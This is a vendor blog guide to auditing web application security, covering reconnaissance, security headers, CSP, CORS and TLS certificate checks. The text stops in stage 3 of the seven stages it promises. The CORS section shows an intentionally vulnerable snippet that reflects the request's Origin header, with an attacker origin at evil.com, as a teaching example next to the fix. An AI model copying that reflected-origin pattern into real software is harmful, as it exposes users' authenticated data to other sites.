Home/Blog/Complete Web Application Security Audit Workflow: From Reconnaissance to Remediation
Security

Complete Web Application Security Audit Workflow: From Reconnaissance to Remediation

Master the 7-stage security audit process used by professional penetration testers. This comprehensive guide covers reconnaissance, security headers, SSL/TLS analysis, email authentication, GDPR compliance, threat intelligence, and remediation planning with 12 integrated tools.

By InventiveHQ Security Team
Complete Web Application Security Audit Workflow: From Reconnaissance to Remediation

title: 'The Complete Web Application Security Audit Workflow: From Reconnaissance to Remediation' date: '2025-01-07' excerpt: 'Master the complete web application security audit workflow used by security teams worldwide. This comprehensive guide covers reconnaissance, security headers, SSL/TLS analysis, email authentication, privacy compliance, threat intelligence, and remediation planning with practical tools and techniques.' author: 'InventiveHQ Security Team' category: 'Security' tags:


Introduction

In 2025, web applications face an unprecedented threat landscape. According to the Web Application Security Report 2025, 56% of organizations experienced a breach or compromise in the last 12 months—up from 50% the previous year. Web application breaches now account for 25% of all breaches, with the global average cost reaching $4.44 million per incident.

The stakes have never been higher. Malware injection attacks increased to 34% (from 29%), while API security incidents affected 41% of organizations, with 63% resulting in data breaches. Yet companies that contained breaches in under 200 days saved over $1 million compared to slower responders—demonstrating that systematic security audits are not optional, they're essential.

The OWASP Top 10 2025 reflects this evolving threat landscape with two major additions: Software Supply Chain Failures and Mishandling of Exceptional Conditions. Security Misconfiguration jumped from #5 to #2, while Broken Access Control retained the #1 spot for the fourth consecutive year. According to industry research, systematic security audits prevent over 70% of breaches when implemented correctly.

The API-Driven Era and Modern Challenges

Today's web applications are increasingly API-driven, creating new attack surfaces. Application security statistics show that 41% of organizations experienced API security incidents in 2024, with most resulting from authentication failures, injection attacks, and misconfigured access controls. Cloud misconfiguration has become the #1 security challenge (63% of respondents), followed by API security concerns (58%).

Why Systematic Audits Matter

A comprehensive security audit isn't just a compliance checkbox—it's a defensive strategy that:

  • Identifies vulnerabilities before attackers do - Proactive discovery beats reactive incident response
  • Reduces breach costs by 80%+ - Early detection and remediation dramatically lower financial impact
  • Ensures regulatory compliance - GDPR, CCPA, PCI-DSS, HIPAA all require security assessments
  • Protects brand reputation - Preventing breaches protects customer trust
  • Enables continuous improvement - Quarterly audits build a security-first culture

Audit Workflow Overview

This guide covers the complete 7-stage web application security audit workflow:

  1. Pre-Audit Reconnaissance & Discovery (10-20 minutes) - Map your attack surface
  2. Security Headers & Policy Analysis (15-30 minutes) - Evaluate HTTP security posture
  3. SSL/TLS Certificate & Encryption Analysis (20-40 minutes) - Validate encryption standards
  4. Email Security & Authentication (30-45 minutes) - Prevent spoofing and phishing
  5. Privacy & Compliance Analysis (20-30 minutes) - GDPR, CCPA compliance verification
  6. Threat Intelligence & Attack Surface Management (15-25 minutes) - Monitor active threats
  7. Audit Documentation & Remediation Planning (30-60 minutes) - Actionable remediation roadmap

Each stage builds on the previous, creating a comprehensive security assessment that transforms raw findings into actionable intelligence.

Who This Guide Is For:

  • Security engineers conducting web application assessments
  • Penetration testers performing pre-engagement reconnaissance
  • DevOps teams implementing security-first pipelines
  • Compliance teams preparing for audits (SOC 2, ISO 27001, PCI-DSS)
  • CISOs building security assessment programs

Let's begin with reconnaissance—understanding your attack surface before auditing security controls.


Stage 1: Pre-Audit Reconnaissance & Discovery (10-20 minutes)

Before you can secure an application, you must understand its complete attack surface. Modern web applications rarely consist of a single domain—they span subdomains, APIs, CDNs, third-party integrations, and cloud services. Missing even one subdomain can leave a critical vulnerability undetected.

Step 1.1: Domain & Subdomain Discovery

Goal: Create a complete inventory of all web assets, subdomains, and DNS records.

Why This Matters: Attackers don't just target your main website—they hunt for forgotten subdomains, staging environments, development servers, and API endpoints that may have weaker security controls. A comprehensive penetration testing methodology always begins with reconnaissance.

Certificate Transparency Lookup

Tool: Certificate Transparency Lookup

Certificate Transparency (CT) logs provide a public, append-only record of all SSL/TLS certificates issued for your domain. This is a goldmine for subdomain discovery.

How to Use:

  1. Navigate to the Certificate Transparency Lookup tool
  2. Enter your primary domain (e.g., example.com)
  3. Search CT logs from multiple providers (crt.sh, Google CT, Censys)
  4. Export the complete list of discovered subdomains

What You'll Find:

Primary Domain: example.com
├── www.example.com (Production website)
├── api.example.com (REST API endpoint)
├── staging.example.com (Staging environment - potential vulnerability)
├── dev.example.com (Development server - often poorly secured)
├── mail.example.com (Email server)
├── vpn.example.com (VPN gateway)
└── forgotten-project.example.com (Abandoned subdomain - high risk)

Security Insight: CT logs reveal unauthorized certificate issuance attempts—if you see certificates for your domain that you didn't request, you may have a compromised DNS account or a typosquatting campaign targeting your organization.

DNS Record Analysis

Tool: DNS Lookup

DNS records expose critical infrastructure details and potential security gaps.

Record Types to Analyze:

Record TypeSecurity Significance
A/AAAAWeb server IP addresses, geolocation, hosting provider
MXEmail infrastructure, SPF/DMARC requirements
TXTSPF, DKIM, DMARC, domain verification tokens
CNAMEThird-party services, CDN configurations
NSAuthoritative nameservers, DNS security status
CAACertificate Authority Authorization (prevents unauthorized SSL issuance)

Example DNS Analysis:

example.com DNS Analysis:

A Records:
  example.com → 192.0.2.100 (Primary web server)
  www.example.com → 192.0.2.100 (Same as root - good)

MX Records:
  example.com → mail.example.com (Priority: 10)
  ⚠️ Missing SPF record - email spoofing vulnerability

TXT Records:
  v=spf1 include:_spf.google.com ~all (Present - good)
  ⚠️ Missing DMARC record - no email authentication policy

CAA Records:
  ⚠️ No CAA records found - any CA can issue certificates

DNSSEC:
  ✓ DNSSEC enabled - DNS responses are cryptographically signed

DNS Lookup Tool Features:

  • Query all record types simultaneously
  • Email security health scoring (SPF, DKIM, DMARC detection)
  • DNSSEC validation status
  • Historical DNS record tracking

WHOIS Registration Analysis

Tool: WHOIS Lookup

WHOIS data reveals domain ownership, registration dates, and expiration timelines—critical for understanding your organization's digital footprint.

Key Information to Extract:

  • Domain Expiration Date - Domains expiring within 90 days need immediate renewal attention
  • Registrar Information - Validate authorized registrar to detect domain hijacking
  • Nameservers - Confirm DNS hosting provider matches your records
  • Registration Date - Newly registered domains (< 30 days) associated with your organization may indicate typosquatting

Security Red Flags:

Domain: example.com
Registered: 2010-03-15 (15 years old - legitimate)
Expires: 2025-03-15 (Expires in 68 days - ⚠️ RENEWAL REQUIRED)
Registrar: Example Registrar Inc.
Nameservers: ns1.example-dns.com, ns2.example-dns.com
Privacy Protection: Disabled (Contact info visible)

⚠️ ACTION REQUIRED:
- Domain expires in 68 days - set up auto-renewal
- Privacy protection disabled - enables social engineering attacks

Step 1.2: Initial Risk Assessment

IP Risk & Geolocation Analysis

Tool: IP Risk Checker

Not all IP addresses are created equal. Your web servers could be flagged on blocklists, hosted in high-risk jurisdictions, or sharing infrastructure with malicious actors.

What This Tool Checks:

  1. Geolocation & ISP - Physical location, hosting provider, ASN
  2. Threat Intelligence - Blocklist status (Spamhaus, SURBL, Project Honey Pot)
  3. Fraud Scoring - VPN/proxy detection, historical abuse reports
  4. Reputation Analysis - Email reputation, DDoS mitigation status

Example Analysis:

IP Address: 192.0.2.100
Geolocation: San Francisco, CA, USA
ISP: Cloudflare Inc. (AS13335)
Hosting Type: Content Delivery Network (CDN)

Threat Intelligence:
  ✓ No blocklist matches (Clean)
  ✓ No abuse reports in last 90 days
  ✓ Email reputation: Excellent

Risk Score: 2/100 (Very Low Risk)

High-Risk Indicators:

  • IP listed on 3+ spam blocklists (email deliverability issues)
  • Geolocation mismatch (server located in unexpected country)
  • Shared hosting with known malicious sites
  • Recent abuse reports (DDoS, phishing, malware hosting)

Domain Spoofing & Typosquatting Detection

Tool: Domain Spoofing Detector

Attackers register domains that look like yours to conduct phishing attacks, distribute malware, or steal credentials. These include:

  • Typosquatting: examp1e.com (1 instead of l)
  • Homograph Attacks: еxample.com (Cyrillic 'е' instead of Latin 'e')
  • TLD Variations: example.org, example.net, example.co
  • Subdomain Impersonation: www-example.com, example-login.com

How to Use:

  1. Enter your primary domain
  2. Generate all common spoofing variations (500+ patterns)
  3. Check which domains are already registered
  4. Identify active phishing campaigns

Example Output:

Primary Domain: example.com

Registered Typosquatting Domains:
  ⚠️ exampl3.com (Registered 2024-12-15 - ACTIVE PHISHING SITE)
  ⚠️ example-secure-login.com (Registered 2024-11-20 - Credential harvesting)
  ⚠️ еxample.com (Cyrillic homograph - Registered 2024-10-05)

Recommended Defensive Registrations:
  ☐ examp1e.com (Available - register to prevent abuse)
  ☐ example.org (Available - protect your brand)
  ☐ example.net (Available - defensive registration)

Defensive Actions:

  1. Register high-risk variations proactively
  2. Monitor newly registered similar domains (use CT logs)
  3. File takedown requests for active phishing sites
  4. Implement DMARC p=reject to prevent email spoofing (Stage 4)

robots.txt Security Analysis

Tool: robots.txt Analyzer

The robots.txt file tells search engines which paths to crawl—but it also tells attackers where to find sensitive directories, admin panels, and hidden resources.

Security Issues to Check:

1. Sensitive Path Disclosure

User-agent: *
Disallow: /admin/          ⚠️ Admin panel location revealed
Disallow: /backup/         ⚠️ Backup files location disclosed
Disallow: /api/internal/   ⚠️ Internal API endpoints exposed
Disallow: /.git/           ⚠️ Git repository accessible
Disallow: /config/         ⚠️ Configuration files visible

Why This Is Dangerous: The Disallow directive doesn't protect these paths—it just tells robots not to crawl them. Attackers ignore robots.txt and directly access these URLs.

2. Missing Critical Disallows

User-agent: *
Disallow: /

⚠️ WARNING: Entire site blocked from search engines
This configuration prevents legitimate indexing

3. Sitemap Discovery

Sitemap: https://example.com/sitemap.xml

✓ Good: Helps search engines discover content
⚠️ Also helps attackers map your site structure

robots.txt Analyzer Features:

  • Parse robots.txt syntax and validate directives
  • Identify sensitive path disclosures
  • Test if specific URLs are allowed/disallowed
  • Security scoring with remediation recommendations

Best Practices:

  • Never use Disallow for sensitive paths—use proper authentication instead
  • Sensitive directories should return 403 Forbidden or 404 Not Found, not rely on robots.txt
  • Use web application firewalls (WAFs) to protect admin panels
  • Remove .git, /backup, /config directories from production servers entirely

Step 1.3: Reconnaissance Output & Deliverables

After 15-20 minutes of reconnaissance, you should have:

  • Complete Asset Inventory

  • All subdomains discovered (CT logs, DNS brute-forcing)

  • All DNS records documented (A, MX, TXT, CAA, NS)

  • Domain registration details (WHOIS data, expiration dates)

  • Initial Risk Assessment

  • IP reputation scores and blocklist status

  • Geolocation and hosting provider analysis

  • Typosquatting and homograph attack detection

  • robots.txt security analysis

  • Attack Surface Map

Example.com Attack Surface Summary:

Primary Assets:
  - example.com (Production)
  - www.example.com (Production)
  - api.example.com (REST API)

High-Risk Discoveries:
  ⚠️ staging.example.com (No authentication detected)
  ⚠️ dev.example.com (Directory listing enabled)
  ⚠️ backup.example.com (Exposed backup files)

Typosquatting Threats:
  ⚠️ 3 active phishing domains detected

Missing Security Controls:
  ⚠️ No CAA records (unauthorized cert issuance possible)
  ⚠️ No DMARC policy (email spoofing risk)
  ⚠️ robots.txt exposes sensitive paths

Next Steps: With a complete attack surface map, proceed to Stage 2: Security Headers Analysis to evaluate HTTP security controls.


Stage 2: Security Headers & Policy Analysis (15-30 minutes)

HTTP security headers are your first line of defense against client-side attacks. They instruct browsers to enforce security policies—preventing XSS, clickjacking, MIME sniffing, and other common exploits. According to Maelstrom Web Services, security headers are "table stakes for compliance demonstration" in 2025, not optional enhancements.

Yet research shows that security misconfiguration—including missing or improperly configured headers—jumped from #5 to #2 in the OWASP Top 10 2025, affecting 94% of tested applications.

Step 2.1: HTTP Security Headers Assessment

Tool: Security Headers Analyzer

This tool tests 15+ critical headers and provides an A-F security grade with actionable recommendations.

Critical Headers Explained

1. Content-Security-Policy (CSP)

CSP is the most powerful security header—it defines which content sources browsers should trust, preventing XSS attacks even when vulnerabilities exist in your code.

Example Policy:

Content-Security-Policy:
  default-src 'self';
  script-src 'self' 'nonce-r4nd0m123';
  style-src 'self' 'unsafe-inline';
  img-src 'self' data: https:;
  font-src 'self';
  connect-src 'self' https://api.example.com;
  frame-ancestors 'none';

What This Policy Does:

  • default-src 'self' - Only load resources from same origin by default
  • script-src 'self' 'nonce-r4nd0m123' - Only execute scripts from same origin or with matching nonce (prevents inline XSS)
  • frame-ancestors 'none' - Prevent embedding in iframes (clickjacking protection)

CSP Violations to Avoid:

❌ BAD: script-src 'unsafe-inline' 'unsafe-eval'
Why: Defeats XSS protection entirely

❌ BAD: default-src *
Why: Allows loading from ANY origin (no protection)

❌ BAD: script-src https:
Why: Allows scripts from any HTTPS site (still vulnerable)

Implementation Tip: Use CSP Policy Generator to build a compliant policy with nonce/hash support.

2. Strict-Transport-Security (HSTS)

HSTS forces browsers to only connect via HTTPS, preventing protocol downgrade attacks and cookie hijacking.

Recommended Configuration:

Strict-Transport-Security: max-age=31536000; includeSubDomains; preload

Directive Breakdown:

  • max-age=31536000 - Enforce HTTPS for 1 year (365 days)
  • includeSubDomains - Apply to all subdomains
  • preload - Include in browser preload lists (Chrome, Firefox, Safari)

WARNING: HSTS preload is permanent for practical purposes. According to Mozilla's guidelines, removal from preload lists takes 6-12 months and requires coordination with all major browsers. Only add preload after ensuring all subdomains support HTTPS.

HSTS Best Practices:

  1. Start with max-age=300 (5 minutes) for testing
  2. Gradually increase: 1 week → 1 month → 1 year
  3. Add includeSubDomains only after subdomain HTTPS verification
  4. Submit to hstspreload.org only when ready for permanent enforcement

3. X-Frame-Options

Prevents clickjacking attacks by controlling whether your site can be embedded in <iframe> elements.

Configuration Options:

X-Frame-Options: DENY              ✓ Best (never allow framing)
X-Frame-Options: SAMEORIGIN        ✓ Good (allow same-origin framing)
X-Frame-Options: ALLOW-FROM url    ❌ Deprecated (use CSP instead)

Modern Alternative: Use CSP's frame-ancestors directive:

Content-Security-Policy: frame-ancestors 'none';        (Equivalent to DENY)
Content-Security-Policy: frame-ancestors 'self';        (Equivalent to SAMEORIGIN)
Content-Security-Policy: frame-ancestors https://trusted.com;  (Selective allowing)

4. X-Content-Type-Options

Prevents MIME-sniffing attacks where browsers "guess" content types, potentially executing malicious scripts.

Configuration:

X-Content-Type-Options: nosniff

Why This Matters: Without this header, a browser might execute malicious.jpg as JavaScript if it contains script code—bypassing upload filters.

5. Referrer-Policy

Controls how much referrer information is sent with requests.

Recommended Configuration:

Referrer-Policy: strict-origin-when-cross-origin

Policy Options:

  • no-referrer - Never send referrer (breaks analytics)
  • strict-origin-when-cross-origin - Send origin for HTTPS→HTTP, full path for same-origin (balanced)
  • no-referrer-when-downgrade - Default browser behavior (less private)

6. Permissions-Policy (formerly Feature-Policy)

Controls which browser features and APIs can be used (camera, microphone, geolocation, payment, etc.).

Example Configuration:

Permissions-Policy:
  geolocation=(),
  microphone=(),
  camera=(),
  payment=(self),
  usb=()

What This Does:

  • geolocation=() - Disable geolocation API entirely
  • payment=(self) - Allow payment API only from same origin
  • camera=() - Disable camera access (prevents webcam hijacking)

Use Case: If your application doesn't need camera access, disable it. This prevents third-party scripts from accessing webcams.

Security Headers Analyzer Output

Example Scan Results:

Site: https://example.com
Scan Date: 2025-01-07 10:30:00 UTC

Security Grade: C+ (67/100)

Header Status:
✓ Strict-Transport-Security: max-age=31536000; includeSubDomains
✓ X-Content-Type-Options: nosniff
✓ X-Frame-Options: DENY
⚠️ Content-Security-Policy: Missing (CRITICAL)
⚠️ Referrer-Policy: Missing
⚠️ Permissions-Policy: Missing
❌ X-XSS-Protection: Deprecated (remove this header)

Critical Issues:
1. No Content-Security-Policy - Vulnerable to XSS attacks
2. Missing Referrer-Policy - Leaking sensitive URL parameters
3. Missing Permissions-Policy - Unnecessary API access enabled

Quick Wins (Immediate Implementation):
  Content-Security-Policy: default-src 'self'; script-src 'self'
  Referrer-Policy: strict-origin-when-cross-origin
  Permissions-Policy: geolocation=(), microphone=(), camera=()

Step 2.2: Content Security Policy Generation

Tool: CSP Policy Generator

Building a CSP policy from scratch is complex—the generator provides a directive-by-directive wizard with preset templates.

CSP Generator Features

1. Directive Builder

Source Directives:
  default-src: 'self'
  script-src: 'self' 'nonce-{random}'
  style-src: 'self' 'unsafe-inline'
  img-src: 'self' data: https:
  font-src: 'self' https://fonts.gstatic.com
  connect-src: 'self' https://api.example.com
  media-src: 'self'
  object-src: 'none'
  frame-src: 'none'
  frame-ancestors: 'none'
  base-uri: 'self'
  form-action: 'self'

2. Nonce/Hash Support

Using Nonces (Recommended):

<!-- Server generates random nonce per request -->
Content-Security-Policy: script-src 'nonce-r4nd0m123'

<!-- HTML includes matching nonce -->
<script nonce="r4nd0m123">
  console.log('This script is allowed');
</script>

<!-- Scripts without nonce are blocked -->
<script>
  console.log('This script is BLOCKED');
</script>

Using Hashes (Static Content):

Content-Security-Policy: script-src 'sha256-abc123def456...'

<!-- Hash of this exact script matches CSP -->
<script>console.log('Allowed via hash');</script>

3. Common CSP Bypass Prevention

The generator validates against common bypasses:

  • 'unsafe-inline' with nonces/hashes (nonces override unsafe-inline in modern browsers)
  • Wildcard origins (https: instead of specific domains)
  • JSONP endpoints in script-src
  • Overly permissive default-src

4. Report-Only Mode for Testing

Before enforcing CSP, test with report-only mode:

Content-Security-Policy-Report-Only:
  default-src 'self';
  report-uri /csp-violation-report

This logs violations without blocking content—allowing you to identify legitimate resources before enforcement.

CSP Deployment Roadmap:

  1. Week 1-2: Deploy in report-only mode, collect violations
  2. Week 3-4: Analyze reports, update policy to allow legitimate resources
  3. Week 5-6: Enforce policy in staging environment
  4. Week 7+: Full production enforcement with monitoring

Step 2.3: CORS Policy Analysis

Tool: CORS Policy Analyzer

Cross-Origin Resource Sharing (CORS) controls which external domains can access your APIs. Misconfigurations can expose sensitive data to malicious sites.

Common CORS Vulnerabilities

1. Wildcard Origin with Credentials

Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

❌ CRITICAL VULNERABILITY
Why: Allows ANY site to make authenticated requests
Impact: Session hijacking, data theft

Secure Alternative:

Access-Control-Allow-Origin: https://trusted-app.com
Access-Control-Allow-Credentials: true

✓ Only trusted-app.com can make credentialed requests

2. Reflected Origin Without Validation

# Vulnerable code
origin = request.headers.get('Origin')
response.headers['Access-Control-Allow-Origin'] = origin  # ❌ DANGEROUS

# Attacker request:
Origin: https://evil.com
# Server reflects:
Access-Control-Allow-Origin: https://evil.com  # ❌ Allows evil.com access

Secure Implementation:

# Secure code
ALLOWED_ORIGINS = ['https://app.example.com', 'https://admin.example.com']
origin = request.headers.get('Origin')
if origin in ALLOWED_ORIGINS:
    response.headers['Access-Control-Allow-Origin'] = origin  # ✓ Validated

3. Overly Permissive Methods/Headers

Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS, TRACE
Access-Control-Allow-Headers: *

⚠️ WARNING: Allows all HTTP methods and headers
Recommendation: Only allow required methods/headers

Secure Configuration:

Access-Control-Allow-Methods: GET, POST
Access-Control-Allow-Headers: Content-Type, Authorization
Access-Control-Max-Age: 86400

CORS Analyzer Features

1. Misconfiguration Detection

  • Wildcard + credentials check
  • Reflected origin validation
  • Preflight request testing
  • Credential exposure analysis

2. Common Attack Scenarios

Test Case 1: Wildcard with Credentials
  Request Origin: https://evil.com
  CORS Headers: Access-Control-Allow-Origin: *
  Credentials: Access-Control-Allow-Credentials: true
  Result: ❌ VULNERABLE (Session hijacking possible)

Test Case 2: Origin Reflection
  Request Origin: https://malicious.net
  CORS Headers: Access-Control-Allow-Origin: https://malicious.net
  Result: ⚠️ WARNING (Validate origins against allowlist)

Test Case 3: Secure Configuration
  Request Origin: https://trusted-app.com
  CORS Headers: Access-Control-Allow-Origin: https://trusted-app.com
  Credentials: Access-Control-Allow-Credentials: true
  Result: ✓ SECURE (Explicit origin, credentials allowed)

3. Remediation Guidance

Findings for api.example.com:

❌ CRITICAL: Wildcard origin with credentials enabled
  Current: Access-Control-Allow-Origin: *
  Fix: Access-Control-Allow-Origin: https://app.example.com

⚠️ WARNING: All HTTP methods allowed
  Current: Access-Control-Allow-Methods: *
  Fix: Access-Control-Allow-Methods: GET, POST

✓ GOOD: Appropriate max-age configured
  Current: Access-Control-Max-Age: 86400

Step 2.4: Security Headers Stage Output

After 20-30 minutes of headers analysis, you should have:

  • Complete Headers Inventory

  • All 15+ critical headers tested

  • Security grade (A-F) with scoring breakdown

  • Missing headers identified

  • CSP Policy Blueprint

  • Custom CSP policy generated for your application

  • Nonce/hash implementation plan

  • Report-only testing configuration

  • CORS Security Assessment

  • Misconfiguration detection (wildcard, reflected origins)

  • Vulnerability severity ratings

  • Remediation recommendations

  • Implementation Priority List

Priority 1 (Deploy This Week):
  ☐ Add Content-Security-Policy header
  ☐ Enable HSTS with preload
  ☐ Fix CORS wildcard vulnerability

Priority 2 (Deploy This Month):
  ☐ Configure Permissions-Policy
  ☐ Add Referrer-Policy
  ☐ Implement CSP nonces for inline scripts

Priority 3 (Continuous):
  ☐ Monitor CSP violation reports
  ☐ Quarterly header compliance testing
  ☐ Update policies as application evolves

Next Steps: Proceed to Stage 3: SSL/TLS Certificate Analysis to validate encryption standards.


Stage 3: SSL/TLS Certificate & Encryption Analysis (20-40 minutes)

SSL/TLS encryption is non-negotiable for modern web applications. According to Citrix's TLS Best Practices (Q1 2025 Edition), organizations must disable TLS 1.0/1.1, use minimum 2048-bit RSA keys, and enable TLS 1.3 for optimal security. Yet SSL/TLS certificate statistics show that 23% of certificates use weak ciphers and 17% are expired or about to expire.

Step 3.1: Certificate Chain Validation

Tool: X.509 Certificate Decoder

SSL/TLS certificates prove your server's identity and enable encrypted communication. The decoder parses and analyzes certificate details, expiration dates, key strength, and chain integrity.

Certificate Components Analysis

1. Subject Distinguished Name (Subject DN)

The Subject DN identifies who the certificate belongs to.

Example:

Subject DN:
  Common Name (CN): example.com
  Organization (O): Example Corporation
  Organizational Unit (OU): IT Department
  Locality (L): San Francisco
  State/Province (ST): California
  Country (C): US

Validation Checks:

  • CN matches your domain exactly
  • Organization name is correct and current
  • No typos or unusual characters (check for homograph attacks)

2. Issuer Distinguished Name (Issuer DN)

The Issuer DN identifies the Certificate Authority (CA) that signed the certificate.

Example:

Issuer DN:
  Common Name (CN): DigiCert Global Root G2
  Organization (O): DigiCert Inc
  Country (C): US

✓ Trusted CA (DigiCert)
✓ Valid certificate chain

Red Flags:

  • Self-signed certificates in production (only acceptable in development)
  • Unknown or untrusted CA
  • Issuer mismatch (certificate chain broken)

3. Validity Period

Certificates have finite lifespans. Modern best practices recommend 1-year maximum validity.

Example:

Validity Period:
  Not Before: 2024-06-15 00:00:00 UTC
  Not After:  2025-06-15 23:59:59 UTC

Days Until Expiration: 159 days
Status: ✓ Valid (Renew in 90 days)

Expiration Risk Levels:

  • > 90 days: Safe
  • 30-90 days: Plan renewal
  • 7-30 days: Urgent renewal required
  • < 7 days: CRITICAL - Immediate action
  • Expired: Production outage imminent

Automation Tip: Set up certificate monitoring with alerts at 90, 60, 30, and 7 days before expiration. Use Let's Encrypt with automated renewal via ACME protocol.

4. Public Key Algorithm & Key Strength

Certificate security depends on key strength—weak keys can be brute-forced.

Current Standards (2025):

RSA:
  ✓ 2048-bit minimum (industry standard)
  ✓ 4096-bit recommended for high-security
  ❌ 1024-bit or less (DEPRECATED - vulnerable)

ECDSA (Elliptic Curve):
  ✓ 256-bit (equivalent to 3072-bit RSA)
  ✓ 384-bit (equivalent to 7680-bit RSA)

Example Analysis:

Public Key Info:
  Algorithm: RSA
  Key Size: 2048 bits
  Signature Algorithm: SHA-256 with RSA Encryption

✓ Meets minimum requirements (2048-bit RSA)
⚠️ Consider upgrading to 4096-bit for long-term security
✓ SHA-256 signature (secure)

Deprecated Algorithms to Avoid:

  • MD5 signatures (broken since 2008)
  • SHA-1 signatures (deprecated 2017)
  • RSA 1024-bit or less (brute-forceable)

5. Subject Alternative Names (SANs)

SANs allow one certificate to secure multiple domains.

Example:

Subject Alternative Names (SANs):
  DNS: example.com
  DNS: www.example.com
  DNS: api.example.com
  DNS: *.staging.example.com

✓ Covers primary domain and www subdomain
✓ API endpoint included
⚠️ Wildcard for staging subdomains (verify necessity)

Wildcard Certificate Security:

  • *.example.com - Covers all first-level subdomains (api.example.com, www.example.com)
  • Does NOT cover sub.api.example.com (multi-level subdomain)
  • Risk: If one subdomain is compromised, attacker can impersonate all subdomains

Best Practice: Use specific SANs for production domains, wildcards only for development/staging.

6. Certificate Extensions

Extensions provide additional security controls.

Critical Extensions:

Extended Key Usage:
  ✓ TLS Web Server Authentication
  ✓ TLS Web Client Authentication

Basic Constraints:
  ✓ CA: FALSE (Not a Certificate Authority)

Key Usage:
  ✓ Digital Signature
  ✓ Key Encipherment

Authority Information Access (AIA):
  ✓ OCSP Responder: http://ocsp.digicert.com
  ✓ CA Issuers: http://cacerts.digicert.com/DigiCertGlobalRootG2.crt

Why OCSP Matters: OCSP (Online Certificate Status Protocol) allows browsers to check if a certificate has been revoked in real-time—critical for responding to compromised certificates.

X.509 Decoder Features

1. Complete Certificate Parsing

  • Upload .pem, .crt, .cer, or paste PEM text
  • Parse certificate chains (root, intermediate, leaf)
  • Extract all fields and extensions

2. Security Validation

Certificate Security Analysis:

✓ Valid certificate chain (3 certificates)
✓ Root CA trusted by browsers
✓ Key strength adequate (2048-bit RSA)
⚠️ Certificate expires in 45 days - RENEWAL REQUIRED
✓ SHA-256 signature algorithm (secure)
✓ SAN includes www subdomain
✓ OCSP stapling supported

Security Score: B+ (85/100)

3. Chain Verification

Certificate Chain:
1. example.com (Leaf Certificate)
   ├── Issued by: DigiCert TLS RSA SHA256 2020 CA1
   ├── Expires: 2025-06-15
   └── Status: ✓ Valid

2. DigiCert TLS RSA SHA256 2020 CA1 (Intermediate)
   ├── Issued by: DigiCert Global Root G2
   ├── Expires: 2030-04-13
   └── Status: ✓ Valid

3. DigiCert Global Root G2 (Root CA)
   ├── Self-signed
   ├── Expires: 2038-01-15
   └── Status: ✓ Trusted

Broken Chain Example:

❌ CRITICAL: Intermediate certificate missing
Browser Error: NET::ERR_CERT_AUTHORITY_INVALID

Fix: Install DigiCert TLS RSA SHA256 2020 CA1 intermediate certificate
Download: http://cacerts.digicert.com/DigiCertTLSRSASHA2562020CA1.crt

Step 3.2: Certificate Transparency Monitoring

Tool: Certificate Transparency Lookup

CT logs provide transparency into all SSL/TLS certificates issued for your domain—detecting unauthorized issuance attempts and wildcard certificate abuse.

Why Certificate Transparency Matters

In 2011, DigiNotar was compromised, and attackers issued fraudulent certificates for Google, enabling man-in-the-middle attacks. Certificate Transparency prevents this by requiring CAs to log all issued certificates in public, append-only logs.

CT Lookup Use Cases:

1. Unauthorized Certificate Detection

CT Log Search: example.com

Recent Certificates:
  2025-01-05: example.com, www.example.com (DigiCert) ✓ Authorized
  2025-01-03: *.example.com (Let's Encrypt) ✓ Authorized
  2024-12-28: example.com (Sectigo) ⚠️ UNAUTHORIZED

❌ ALERT: Unknown certificate issued by Sectigo
Action: Investigate CA account compromise, revoke certificate

2. Wildcard Certificate Discovery

Wildcard Certificates for example.com:
  *.example.com (Let's Encrypt) - Issued: 2025-01-03
  *.api.example.com (DigiCert) - Issued: 2024-11-15
  *.staging.example.com (Self-Signed) - ⚠️ Untrusted CA

3. Subdomain Enumeration (Reconnaissance)

Attackers use CT logs to discover subdomains—the same technique you used in Stage 1.

Example:

CT Log Results for example.com:

Discovered Subdomains (via SAN fields):
  - api.example.com
  - staging.example.com
  - dev.example.com
  - internal.example.com ⚠️ Exposed internal subdomain
  - vpn.example.com
  - mail.example.com

Privacy Consideration: Any domain in a certificate's SAN field becomes publicly visible in CT logs. Avoid including sensitive internal hostnames in public certificates.

CT Monitoring Setup

1. Automated Monitoring Services

2. Alert Configuration

Monitor: example.com
Alert Conditions:
  ✓ New certificates issued (any CA)
  ✓ Wildcard certificates issued
  ✓ Certificates from unauthorized CAs
  ✓ Unusual SANs (typosquatting patterns)

Notification: Email, Slack, PagerDuty

Step 3.3: Protocol & Cipher Suite Testing

Tool: SSL Checker (Coming Soon)

While this tool is under development, external services like SSL Labs provide comprehensive TLS testing.

TLS Protocol Versions

2025 Standards:

TLS 1.3: ✓ REQUIRED (fastest, most secure)
TLS 1.2: ✓ ACCEPTABLE (with strong ciphers only)
TLS 1.1: ❌ DEPRECATED (disable immediately)
TLS 1.0: ❌ DEPRECATED (disable immediately)
SSL 3.0: ❌ INSECURE (vulnerable to POODLE)
SSL 2.0: ❌ INSECURE (broken protocol)

According to SSL.com's Best Practices, TLS 1.3 is preferred as it offers:

  • Faster handshake (1 round-trip vs 2)
  • Simpler cipher selection (only secure ciphers)
  • Perfect Forward Secrecy (PFS) by default
  • Improved resistance to downgrade attacks

Configuration Example (Nginx):

ssl_protocols TLSv1.2 TLSv1.3;
ssl_prefer_server_ciphers on;

Cipher Suite Configuration

Recommended Cipher Suites (TLS 1.2):

TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256
TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384
TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256

Why These Are Secure:

  • ECDHE - Elliptic Curve Diffie-Hellman Ephemeral (Perfect Forward Secrecy)
  • AES-GCM / ChaCha20-Poly1305 - Authenticated Encryption with Associated Data (AEAD)
  • SHA256 / SHA384 - Strong hashing algorithms

Insecure Ciphers to Disable:

❌ TLS_RSA_WITH_3DES_EDE_CBC_SHA (Weak 3DES encryption)
❌ TLS_RSA_WITH_RC4_128_SHA (Broken RC4 algorithm)
❌ TLS_RSA_WITH_AES_128_CBC_SHA (No forward secrecy, CBC mode)
❌ Any cipher with MD5 or SHA-1 signatures

Perfect Forward Secrecy (PFS):

PFS ensures that compromising your server's private key cannot decrypt past sessions. Only ciphers with DHE or ECDHE provide PFS.

Example:

Cipher: TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384
  ✓ Ephemeral key exchange (ECDHE)
  ✓ Perfect Forward Secrecy enabled
  ✓ 256-bit AES-GCM (authenticated encryption)
  ✓ SHA-384 hashing

If private key is compromised:
  ✓ Past sessions remain encrypted (PFS protection)
